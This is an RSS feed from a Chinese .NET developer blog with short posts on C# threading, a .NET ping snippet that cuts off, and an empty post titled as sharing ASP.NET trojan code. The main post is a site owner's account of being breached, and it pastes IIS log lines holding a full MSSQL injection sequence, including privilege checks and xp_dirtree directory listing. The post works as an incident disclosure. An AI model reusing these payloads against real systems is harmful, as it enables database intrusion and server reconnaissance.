<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"><channel><title>Net先驱者</title><link>http://chinait.com.cn/blogs/servucn/default.aspx</link><description /><dc:language>zh-CHS</dc:language><generator>CommunityServer 1.1 (Build: 1.0.4.31490)</generator><item><title>C#跨线程操作控件</title><link>http://chinait.com.cn/blogs/servucn/archive/2007/07/14/1413.aspx</link><pubDate>Sat, 14 Jul 2007 08:17:00 GMT</pubDate><guid isPermaLink="false">67ea32e3-9178-4681-a6c3-cbf1c4b60496:1413</guid><dc:creator /><slash:comments>0</slash:comments><comments>http://chinait.com.cn/blogs/servucn/comments/1413.aspx</comments><wfw:commentRss>http://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1413</wfw:commentRss><description>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 解决方法:&lt;p&gt;&lt;pre style="border: 1px solid black; padding: 4px; background-color: rgb(237, 237, 237);"&gt;&lt;div&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;private&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;void&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; change()
        {
            &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;this&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.label1.Text &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;已发生变化&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;
        }
&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;private&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;void&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; threadchange()   &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;通过委托处理，MSDN上又很详细用法的说明&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;
&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        {
            MethodInvoker In &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; MethodInvoker(change);
            &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;this&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.BeginInvoke(In);
        }
 &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;private&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;void&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; button1_Click(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;object&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; sender, EventArgs e)
        {
            Thread cha &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Thread(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; ThreadStart(threadchange));
            cha.Start();
        }&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;br&gt;&lt;/p&gt;&lt;img src="http://chinait.com.cn/aggbug.aspx?PostID=1413" width="1" height="1"&gt;</description></item><item><title>asp.net 木马代码共享（部分）</title><link>http://chinait.com.cn/blogs/servucn/archive/2006/12/21/1085.aspx</link><pubDate>Thu, 21 Dec 2006 03:40:00 GMT</pubDate><guid isPermaLink="false">67ea32e3-9178-4681-a6c3-cbf1c4b60496:1085</guid><dc:creator /><slash:comments>0</slash:comments><comments>http://chinait.com.cn/blogs/servucn/comments/1085.aspx</comments><wfw:commentRss>http://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1085</wfw:commentRss><description>&amp;nbsp; &lt;br&gt;&lt;img src="http://chinait.com.cn/aggbug.aspx?PostID=1085" width="1" height="1"&gt;</description></item><item><title>昨天我的网站被人下载了！汗！</title><link>http://chinait.com.cn/blogs/servucn/archive/2006/12/21/1084.aspx</link><pubDate>Thu, 21 Dec 2006 03:13:00 GMT</pubDate><guid isPermaLink="false">67ea32e3-9178-4681-a6c3-cbf1c4b60496:1084</guid><dc:creator /><slash:comments>0</slash:comments><comments>http://chinait.com.cn/blogs/servucn/comments/1084.aspx</comments><wfw:commentRss>http://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1084</wfw:commentRss><description>真没有想到我这里一个网站http://www.ucasp.net 竟然也被人整天稍描，没有想到的是一个原本放在暗处的连接被人找到了。通过mssql注入进去了。&lt;br&gt;部分注入语句拿出来共享：&lt;br&gt;2006-12-19 23:01:07 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:07 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:10 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20and%20char(124)%2Buser%2Bchar(124)=0 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:10 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20and%20char(124)%2Buser%2Bchar(124)=0 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:20 W3SVC1282302946 202.75.219.146 GET /special-687.aspx - 80 - 60.191.80.45 YodaoBot/1.0+(http://www.yodao.com/help/webmaster/spider/;+) 200 0 0&lt;br&gt;2006-12-19 23:01:21 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:23 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20and%20char(124)%2Buser%2Bchar(124)=0 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:24 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20and%20char(124)%2Buser%2Bchar(124)=0;declare%20@d%20int;-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:24 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20%61%6E%64%20%31%3D%31 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64&lt;br&gt;2006-12-19 23:01:25 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20and%20char(124)%2Bdb_name()%2Bchar(124)=0%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:26 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20%61%6E%64%20%31%3D%32 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 0&lt;br&gt;2006-12-19 23:01:26 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:28 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20%20and%20exists%20(select%20*%20from%20sysobjects)%20-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64&lt;br&gt;2006-12-19 23:01:35 W3SVC1282302946 202.75.219.146 GET /~rssfeed.aspx Action=Special&amp;amp;ID=2396 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+2.0.50727;+.NET+CLR+1.1.4322) 404 0 0&lt;br&gt;2006-12-19 23:01:36 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+2.0.50727;+.NET+CLR+1.1.4322) 200 0 0&lt;br&gt;2006-12-19 23:01:40 W3SVC1282302946 202.75.219.146 GET /special-629.aspx - 80 - 60.191.80.45 YodaoBot/1.0+(http://www.yodao.com/help/webmaster/spider/;+) 200 0 0&lt;br&gt;2006-12-19 23:01:41 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396~ 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+2.0.50727;+.NET+CLR+1.1.4322) 500 0 0&lt;br&gt;2006-12-19 23:01:43 W3SVC1282302946 202.75.219.146 GET /Song-64030.aspx - 80 - 60.191.80.45 YodaoBot/1.0+(http://www.yodao.com/help/webmaster/spider/;+) 200 0 0&lt;br&gt;2006-12-19 23:01:43 W3SVC1282302946 202.75.219.146 GET /special-122.aspx - 80 - 202.160.179.80 Mozilla/5.0+(compatible;+Yahoo!+Slurp+China;+http://misc.yahoo.com.cn/help.html) 200 0 0&lt;br&gt;2006-12-19 23:01:52 W3SVC1282302946 202.75.219.146 GET /Song-72369.aspx - 80 - 60.191.80.45 YodaoBot/1.0+(http://www.yodao.com/help/webmaster/spider/;+) 200 0 0&lt;br&gt;2006-12-19 23:01:53 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396;DROP%20TABLE%20D99_Tmp;CREATE%20TABLE%20D99_Tmp(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20D99_Tmp%20exec%20master..xp_dirtree%20"d:\",%201,1-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64&lt;br&gt;2006-12-19 23:01:53 W3SVC1282302946 202.75.219.146 GET /special-2290.aspx - 80 - 60.191.80.45 YodaoBot/1.0+(http://www.yodao.com/help/webmaster/spider/;+) 200 0 0&lt;br&gt;2006-12-19 23:01:53 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20D99_Tmp)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:55 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396;DROP%20TABLE%20D99_Tmp;CREATE%20TABLE%20D99_Tmp(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20D99_Tmp%20exec%20master..xp_dirtree%20"d:\",%201,1-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64&lt;br&gt;2006-12-19 23:01:55 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20D99_Tmp)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396;DROP%20TABLE%20D99_Tmp;CREATE%20TABLE%20D99_Tmp(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20D99_Tmp%20exec%20master..xp_dirtree%20"c:\",%201,1-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64&lt;br&gt;2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20D99_Tmp)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%201%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%202%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%203%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%204%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%205%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%206%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%207%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%208%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:00 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%209%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:00 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%2010%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:02 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396;DROP%20TABLE%20D99_Tmp;CREATE%20TABLE%20D99_Tmp(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20D99_Tmp%20exec%20master..xp_dirtree%20"c:\Inetpub\",%201,1-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64&lt;br&gt;2006-12-19 23:02:02 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20D99_Tmp)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:02 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%201%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:02 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%202%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:02 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%203%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20and%20char(124)%2Buser%2Bchar(124)=0 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20and%20char(124)%2Buser%2Bchar(124)=0;declare%20@d%20int;-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20and%20char(124)%2Bdb_name()%2Bchar(124)=0%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20%61%6E%64%20%31%3D%31 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64&lt;br&gt;2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20%61%6E%64%20%31%3D%32 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 0&lt;br&gt;2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20%20and%20exists%20(select%20*%20from%20sysobjects)%20-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64&lt;br&gt;2006-12-19 23:02:07 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396;DROP%20TABLE%20D99_Tmp;CREATE%20TABLE%20D99_Tmp(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20D99_Tmp%20exec%20master..xp_dirtree%20"c:\Inetpub\wwwroot\",%201,1-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64&lt;br&gt;2006-12-19 23:02:07 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20D99_Tmp)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:07 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%201%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:07 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%202%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0&lt;br&gt;2006-12-19 23:02:07 W3SVC1282302946 202.75.219.146 GET /guest.asp - 80 - 219.136.13.211 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) 404 0 2&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;img src="http://chinait.com.cn/aggbug.aspx?PostID=1084" width="1" height="1"&gt;</description></item><item><title>在.Net中实现ping的命令</title><link>http://chinait.com.cn/blogs/servucn/archive/2006/12/07/1046.aspx</link><pubDate>Thu, 07 Dec 2006 01:24:00 GMT</pubDate><guid isPermaLink="false">67ea32e3-9178-4681-a6c3-cbf1c4b60496:1046</guid><dc:creator /><slash:comments>0</slash:comments><comments>http://chinait.com.cn/blogs/servucn/comments/1046.aspx</comments><wfw:commentRss>http://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1046</wfw:commentRss><description>&lt;PRE style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed"&gt;&lt;DIV&gt;&lt;SPAN style="COLOR: #000000"&gt;            System.Net.NetworkInformation.Ping p &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; System.Net.NetworkInformation.Ping();
            PingOptions options &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;new&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; PingOptions();
            options.DontFragment &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;true&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;;

            &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;string&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; data &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;"&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;;
            &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;byte&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;[] buffer &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; Encoding.ASCII.GetBytes(data);
            &lt;/SPAN&gt;&lt;SPAN style="COLOR: #0000ff"&gt;int&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; timeout &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;=&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt; &lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;500&lt;/SPAN&gt;&lt;SPAN style="COLOR: #000000"&gt;;
